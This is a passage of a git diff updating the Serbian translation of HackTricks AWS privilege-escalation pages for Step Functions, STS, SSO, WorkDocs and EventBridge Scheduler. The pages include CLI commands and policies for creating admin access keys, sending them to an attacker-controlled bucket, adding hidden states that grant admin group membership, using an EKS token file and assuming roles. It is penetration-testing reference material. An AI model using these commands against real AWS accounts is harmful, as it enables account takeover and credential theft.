inline politike iz skupa dozvola. Moguće je dodeliti **više privilegija putem odvajanja inline politike (politika odbijanja)**. +Napadač koji ima ovu dozvolu može ukloniti dozvole iz inline policy u okviru permission set-a. Moguće je dodeliti **više privilegija odvajanjem inline policy (deny policy)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -Napadač sa ovom dozvolom može ukloniti Permission Boundary iz skupa dozvola. Moguće je dodeliti **više privilegija uklanjanjem ograničenja na Permission Set** datom iz Permission Boundary. +Napadač sa ovom dozvolom može ukloniti Permission Boundary iz permission seta. To može omogućiti dodeljivanje **više privilegija uklanjanjem ograničenja koja Permission Boundary nameće permission setu**. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md index 2e4f97f2c..d53322266 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -1,35 +1,35 @@ # AWS - Step Functions Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Step Functions -Za više informacija o ovoj AWS usluzi, proverite: +Za više informacija o ovoj AWS usluzi, pogledajte: {{#ref}} -../aws-services/aws-stepfunctions-enum.md +../../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task Resources +### Task resursi -Ove tehnike eskalacije privilegija će zahtevati korišćenje nekih AWS step function resursa kako bi se izvršile željene akcije eskalacije privilegija. +Ove privilege escalation techniques zahtevaće korišćenje određenih AWS Step Function resursa kako bi se izvršile željene privilege escalation akcije. -Da biste proverili sve moguće akcije, možete otići na svoj AWS nalog, izabrati akciju koju želite da koristite i videti parametre koje koristi, kao u: +Da biste proverili sve moguće akcije, možete otići u svoj AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na:
-Ili možete otići na API AWS dokumentaciju i proveriti dokumentaciju za svaku akciju: +Ili možete otići u AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirati bilo koju državu i proslediti bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće mašine stanja, potencijalno omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama uloga. U kombinaciji, ove dozvole mogu dovesti do opsežnih neovlašćenih akcija, od manipulacije radnim tokovima do izmene podataka, do curenja podataka, manipulacije resursima i eskalacije privilegija. +Napadač koji ima dozvole **`states:TestState`** i **`iam:PassRole`** može testirati bilo koje stanje i dodeliti mu bilo koju IAM rolu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neautorizovan pristup drugim AWS servisima sa privilegijama tih rola. U kombinaciji, ove dozvole mogu dovesti do opsežnih neautorizovanih radnji — od manipulacije workflow-ovima i izmene podataka, preko kompromitovanja podataka i manipulacije resursima, do privilege escalation. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za korisnika **`admin`** koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku visoko privilegovanu politiku povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši akciju **`iam:CreateAccessKey`**: +U sledećim primerima prikazano je kako testirati state koji kreira access key za korisnika **`admin`** koristeći ove dozvole i permisivnu rolu u AWS okruženju. Ova permisivna rola bi trebalo da ima pridruženu neku visoko-privilegovanu politiku (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state-u da izvrši akciju **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za "End": true } ``` -- **Komanda** izvršena za izvođenje privesc: +- **Naredba** izvršena za izvođenje privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. +**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulisanje workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Napadač sa **`states:CreateStateMachine`** & **`iam:PassRole`** mogao bi da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama te uloge. U poređenju sa prethodnom tehnikom privesc (**`states:TestState`** & **`iam:PassRole`**), ova ne izvršava sama po sebi, takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standardne radne tokove**, **samo za izražene mašine stanja**) kako biste započeli izvršavanje nad mašinom stanja. +Napadač koji ima **`states:CreateStateMachine`** i **`iam:PassRole`** može da kreira state machine i dodeli mu bilo koju IAM role, omogućavajući neovlašćen pristup drugim AWS servisima koristeći dozvole te role. Za razliku od prethodne privesc tehnike (**`states:TestState`** i **`iam:PassRole`**), ova se ne izvršava sama od sebe — takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standard workflows**, **samo za express state machines**) da biste pokrenuli izvršenje state machine. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Sledeći primeri pokazuju kako da se kreira mašina stanja koja kreira pristupni ključ za korisnika **`admin`** i eksfiltrira ovaj pristupni ključ u S3 bucket pod kontrolom napadača, koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati bilo koju politiku sa visokim privilegijama povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava mašini stanja da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**. +Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za korisnika **`admin`** i eksfiltrira ovaj access key u attacker-controlled S3 bucket, iskorišćavajući ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku visoko-privilegovanu politiku pridruženu (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state machine da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ Sledeći primeri pokazuju kako da se kreira mašina stanja koja kreira pristupni } } ``` -- **Komanda** izvršena za **kreiranje mašine stanja**: +- **Komanda** izvršena da bi se kreirao **stroj stanja**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **Komanda** izvršena za **pokretanje izvršenja** prethodno kreirane mašine stanja: +- **Komanda** izvršena da **pokrene izvršavanje** prethodno kreiranog state machine-a: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> Napadačem kontrolisani S3 bucket treba da ima dozvole da prihvati s3:PutObject akciju iz naloga žrtve. +> S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju od računa žrtve. -**Potencijalni uticaj**: Neovlašćena izvršenja i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. +**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija workflows i pristup osetljivim resursima, što može dovesti do ozbiljnih bezbednosnih povreda. -### `states:UpdateStateMachine` & (ne uvek potrebno) `iam:PassRole` +### `states:UpdateStateMachine` & (nije uvek potrebno) `iam:PassRole` -Napadač sa **`states:UpdateStateMachine`** dozvolom mogao bi da izmeni definiciju mašine stanja, dodajući dodatne stealth stanja koja bi mogla dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovo novo zloćudno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna. +Napadač sa **`states:UpdateStateMachine`** permisijom mogao bi da izmeni definiciju state machine-a, dodajući dodatne skrivenе state-ove koji bi mogli da završe u privilege escalation. Na taj način, kada legitimni korisnik pokrene izvršenje state machine-a, novi zlonamerni skriveni state će se izvršiti i privilege escalation će uspeti. -U zavisnosti od toga koliko je permisivna IAM uloga povezana sa mašinom stanja, napadač bi se suočio sa 2 situacije: +U zavisnosti od toga koliko je permissive IAM Role povezan sa state machine-om, napadač bi se suočio sa 2 situacije: -1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu **`arn:aws:iam::aws:policy/AdministratorAccess`** politiku), tada **`iam:PassRole`** dozvola ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno. -2. **Nepermisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao **`iam:PassRole`** dozvolu pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja. +1. **Permissive IAM Role**: Ako je IAM Role povezan sa state machine-om već permissive (na primer ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**), onda **`iam:PassRole`** permisija ne bi bila potrebna za eskalaciju privilegija, jer ne bi bilo neophodno i menjati IAM Role — dovoljna je izmena definicije state machine-a. +2. **Not permissive IAM Role**: Za razliku od prethodnog slučaja, ovde bi napadač takođe zahtevao **`iam:PassRole`** permisiju, pošto bi bilo neophodno povezati permissive IAM Role sa state machine-om pored izmene definicije state machine-a. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Sledeći primeri pokazuju kako ažurirati legitimnu mašinu stanja koja samo poziva HelloWorld Lambda funkciju, kako bi se dodalo dodatno stanje koje dodaje korisnika **`unprivilegedUser`** u **`administrator`** IAM grupu. Na ovaj način, kada legitimni korisnik pokrene izvršenje ažurirane mašine stanja, ovo novo zlonamerno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna. +Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo poziva HelloWorld Lambda function, kako bi se dodalo dodatno stanje koje dodaje korisnika **`unprivilegedUser`** u **`administrator`** IAM Group. Na taj način, kada legitimni korisnik pokrene izvršavanje ažuriranog state machine-a, ovo novo zlonamerno prikriveno stanje biće izvršeno i eskalacija privilegija će biti uspešna. > [!WARNING] -> Ako mašina stanja nema povezanu permisivnu IAM ulogu, takođe će biti potrebna dozvola **`iam:PassRole`** za ažuriranje IAM uloge kako bi se povezala permisivna IAM uloga (na primer, jedna sa **`arn:aws:iam::aws:policy/AdministratorAccess`** politikom priloženom). +> Ako state machine nema pridruženu permisivnu IAM Role, biće takođe potrebna dozvola **`iam:PassRole`** da bi se ažurirala IAM Role u cilju povezivanja permisivne IAM Role (na primer ona koja ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -218,7 +218,7 @@ Sledeći primeri pokazuju kako ažurirati legitimnu mašinu stanja koja samo poz {{#endtab }} {{#endtabs }} -- **Komanda** izvršena za **ažuriranje** **legitimne mašine stanja**: +- **Komanda** izvršena da **ažurira** **legitimni state machine**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Potencijalni uticaj**: Neovlašćena izvršenja i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. +**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada, kao i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md deleted file mode 100644 index f47be71c3..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - STS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## STS - -### `sts:AssumeRole` - -Svaka uloga se kreira sa **politikom poverenja uloge**, ova politika ukazuje **ko može preuzeti kreiranu ulogu**. Ako uloga iz **istog naloga** navodi da neki nalog može da je preuzme, to znači da će taj nalog moći da pristupi ulozi (i potencijalno izvrši **privesc**). - -Na primer, sledeća politika poverenja uloge pokazuje da svako može da je preuzme, stoga će **bilo koji korisnik moći da izvrši privesc** nad dozvolama povezanim sa tom ulogom. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Možete да се представите као одређена улога покретањем: -```bash -aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname -``` -**Potencijalni uticaj:** Privesc to the role. - -> [!CAUTION] -> Imajte na umu da u ovom slučaju dozvola `sts:AssumeRole` mora biti **naznačena u roli koju se želi zloupotrebiti** i ne može biti samo u politici koja pripada napadaču.\ -> Sa jednom izuzetkom, da bi se **assume a role from a different account** nalog napadača **takođe mora** imati **`sts:AssumeRole`** nad tom rolom. - - -### `sts:AssumeRoleWithSAML` - -Politika poverenja vezana za ovu rolu daje **korisnicima autentifikovanim putem SAML mogućnost da se predstave kao ta rola.** - -Primer politike poverenja sa ovom dozvolom je: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "OneLogin", -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" -}, -"Action": "sts:AssumeRoleWithSAML", -"Condition": { -"StringEquals": { -"SAML:aud": "https://signin.aws.amazon.com/saml" -} -} -} -] -} -``` -Da biste generisali credentials za impersonate role, uopšteno možete koristiti nešto poput: -```bash -aws sts assume-role-with-saml --role-arn --principal-arn -``` -Ali **provajderi** mogu imati **svoje alate** koji to olakšavaju, kao [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): -```bash -onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 -``` -**Potencijalni uticaj:** Privesc na ulogu. - -### `sts:AssumeRoleWithWebIdentity` - -Ovo dopuštenje omogućava pribavljanje skupa privremenih sigurnosnih akreditiva za **korisnike koji su autentifikovani u mobilnoj, web aplikaciji, EKS...** pomoću provajdera web identiteta. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: -```bash -aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token -# The role name can be found in the metadata of the configuration of the pod -``` -### Federation Abuse - -{{#ref}} -../aws-basic-information/aws-federation-abuse.md -{{#endref}} - -### IAM Roles Anywhere Privesc - -AWS IAM Roles Anywhere omogućava radnim opterećenjima izvan AWS-a da preuzimaju IAM role koristeći X.509 sertifikate. Međutim, kada trust policy nisu pravilno ograničene, mogu se zloupotrebiti za eskalaciju privilegija. - -Da bi se razumeo ovaj napad, neophodno je objasniti šta je trust anchor. Trust anchor u AWS IAM Roles Anywhere predstavlja root of trust entitet — sadrži javni sertifikat Certificate Authority (CA) koji je registrovan u nalogu, kako bi AWS mogao da validira predstavljene X.509 sertifikate. Na taj način, ako je klijentski sertifikat izdat od strane te CA i trust anchor je aktivan, AWS ga prepoznaje kao važeći. - -Pored toga, profile je konfiguracija koja definiše koje atribute X.509 sertifikata (kao što su CN, OU ili SAN) će biti transformisani u session tags, a ti tagovi će kasnije biti upoređeni sa uslovima trust policy. - -Ova policy nema ograničenja koja trust anchor ili atributi sertifikata su dozvoljeni. Kao rezultat, bilo koji sertifikat vezan za bilo koji trust anchor u nalogu može biti iskorišćen da preuzme ovu ulogu. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -Za privesc, `aws_signing_helper` je potreban i dostupan na https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Zatim, koristeći važeći sertifikat, attacker može pivot u ulogu sa višim privilegijama -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -Trust anchor potvrđuje da `readonly.pem` sertifikat klijenta potiče od njegovog ovlašćenog CA, i u okviru tog `readonly.pem` sertifikata nalazi se javni ključ koji AWS koristi da proveri da je potpis napravljen odgovarajućim privatnim ključem `readonly.key`. - -Sertifikat takođe pruža atribute (kao što su CN ili OU) koje `default` profil prevodi u tagove, koje politika poverenja role može koristiti da odluči da li da odobri pristup. Ako u politici poverenja nema uslova, ti tagovi nemaju upotrebu i pristup se odobrava svakome ko ima važeći sertifikat. - -Da bi ovaj napad bio moguć, i trust anchor i `default` profil moraju biti aktivni. - -### References - -- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md new file mode 100644 index 000000000..64e0cd324 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - STS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## STS + +### `sts:AssumeRole` + +Svaka uloga se kreira sa **politikom poverenja uloge**, ta politika označava **ko može da preuzme kreiranu ulogu**. Ako uloga iz **istog naloga** kaže da neki nalog može da je preuzme, to znači da će taj nalog moći da pristupi ulozi (i potencijalno izvrši **privesc**). + +Na primer, sledeća politika poverenja uloge pokazuje da bilo ko može da je preuzme, dakle **bilo koji korisnik će moći da izvrši privesc** nad dozvolama povezanim sa tom ulogom. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Možete preuzeti ulogu koja se izvršava: +```bash +aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname +``` +**Potencijalni uticaj:** Privesc to the role. + +> [!CAUTION] +> Imajte na umu da u ovom slučaju dozvola `sts:AssumeRole` mora biti **navedena u ulozi koju treba zloupotrebiti** a ne u politici koja pripada napadaču.\ +> Sa jednim izuzetkom, da biste **preuzeli ulogu iz drugog naloga** nalog napadača **takođe mora** imati **`sts:AssumeRole`** nad tom ulogom. + + +### `sts:AssumeRoleWithSAML` + +Trust policy sa ovom ulogom daje **korisnicima autentifikovanim putem SAML-a mogućnost preuzimanja uloge.** + +An example of a trust policy with this permission is: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] +} +``` +Da biste generisali kredencijale za preuzimanje uloge, obično možete koristiti nešto poput: +```bash +aws sts assume-role-with-saml --role-arn --principal-arn +``` +Ali **provajderi** mogu imati svoje **alate** koji to olakšavaju, kao [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +```bash +onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 +``` +**Potencijalni uticaj:** Privesc na ulogu. + +### `sts:AssumeRoleWithWebIdentity` + +Ova dozvola omogućava dobijanje skupa privremenih sigurnosnih akreditiva za **korisnike koji su autentifikovani u mobilnoj, web aplikaciji, EKS...** preko provajdera web identiteta. [Saznajte više ovde.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) + +Na primer, ako **EKS service account** treba da može da preuzme IAM ulogu, imaće token u **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** i može da preuzme ulogu i dobije kredencijale radeći nešto poput: +```bash +aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token +# The role name can be found in the metadata of the configuration of the pod +``` +### Federation Abuse + +{{#ref}} +../../aws-basic-information/aws-federation-abuse.md +{{#endref}} + +### IAM Roles Anywhere Privesc + +AWS IAM RolesAnywhere omogućava workloads izvan AWS da preuzmu IAM role koristeći X.509 sertifikate. Međutim, kada trust policies nisu pravilno ograničene, one se mogu zloupotrebiti za privilege escalation. + +Da bi se razumeo ovaj napad, potrebno je objasniti šta je trust anchor. A trust anchor u AWS IAM RolesAnywhere je entitet root of trust — sadrži javni sertifikat Certificate Authority (CA) koji je registrovan na nalogu tako da AWS može da verifikuje predstavljene X.509 sertifikate. Na ovaj način, ako je client certificate izdat od strane te CA i trust anchor je aktivan, AWS ga prepoznaje kao validan. + +Pored toga, profile je konfiguracija koja definiše koje atribute X.509 sertifikata (kao što su CN, OU, ili SAN) će biti transformisane u session tags, i ti tagovi će se kasnije upoređivati sa uslovima trust policy. + +Ova policy nema ograničenja koji trust anchor ili atributi sertifikata su dozvoljeni. Kao rezultat, bilo koji sertifikat vezan za bilo koji trust anchor u nalogu može se iskoristiti za preuzimanje ove role. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Za privesc, `aws_signing_helper` je potreban sa https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Zatim, koristeći validan sertifikat, attacker može pivot into the higher privilege role +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +The trust anchor potvrđuje da klijentov `readonly.pem` sertifikat potiče od ovlašćenog CA, i u okviru tog `readonly.pem` sertifikata nalazi se javni ključ koji AWS koristi da verifikuje da je potpis napravljen odgovarajućim privatnim ključem `readonly.key`. + +Sertifikat takođe pruža atribute (kao što su CN ili OU) koje `default` profil transformiše u tagove, koje politika poverenja role može koristiti da odluči da li da odobri pristup. Ako u politici poverenja nema uslova, ti tagovi nemaju svrhu i pristup se dodeljuje bilo kome ko ima važeći sertifikat. + +Za ovaj napad da bi bio moguć, i čvor poverenja i `default` profil moraju biti aktivni. + +### References + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md similarity index 64% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md index fcd61240b..c95cbcff7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md @@ -1,23 +1,23 @@ # AWS - WorkDocs Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## WorkDocs -Za više informacija o WorkDocs, proverite: +Za više informacija o WorkDocs pogledajte: {{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md +../../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` -Kreirajte korisnika unutar naznačenog direktorijuma, tada ćete imati pristup i WorkDocs i AD: +Kreirajte korisnika u naznačenom Directory-ju, tada ćete imati pristup i WorkDocs i AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` +### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` Fajlovi mogu sadržati osetljive informacije, pročitajte ih: ```bash @@ -32,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Ako nemate pristup da pročitate nešto, možete jednostavno dodeliti pristup. +Ako nemate pristup da nešto pročitate, možete jednostavno dodeliti pristup ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -Možete postaviti korisnika za administratora tako što ćete ga dodati u grupu ZOCALO_ADMIN.\ +Možete korisniku dodeliti admin privilegije tako što ćete ga staviti u grupu ZOCALO_ADMIN.\ Za to pratite uputstva sa [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) -Prijavite se sa tim korisnikom u workdocs i pristupite administratorskom panelu na `/workdocs/index.html#/admin` +Prijavite se tim korisnikom u workdoc i pristupite admin panelu na `/workdocs/index.html#/admin` -Nisam našao nijedan način da to uradim iz cli-a. +Nisam našao način da se ovo uradi iz cli. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md similarity index 61% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md index d4c0e1106..bafc5a573 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EventBridge Scheduler Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EventBridge Scheduler -Više informacija o EventBridge Scheduler-u u: +Više informacija o EventBridge Scheduler-u nalazi se u: {{#ref}} -../aws-services/eventbridgescheduler-enum.md +../../aws-services/eventbridgescheduler-enum.md {{#endref}} ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -Napadač sa tim dozvolama će moći da **`kreira`|`ažurira` raspored i zloupotrebi dozvole uloge rasporeda** koja je povezana sa njim da izvrši bilo koju akciju +Napadač sa tim dozvolama može da **`create`|`update` scheduler i zloupotrebi dozvole role schedulera** prikačene na njega da izvrši bilo koju radnju -Na primer, mogli bi da konfigurišu raspored da **pozove Lambda funkciju** koja je akcija po šablonu: +Na primer, može da konfiguriše schedule da **pozove Lambda funkciju** što je templirana akcija: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": 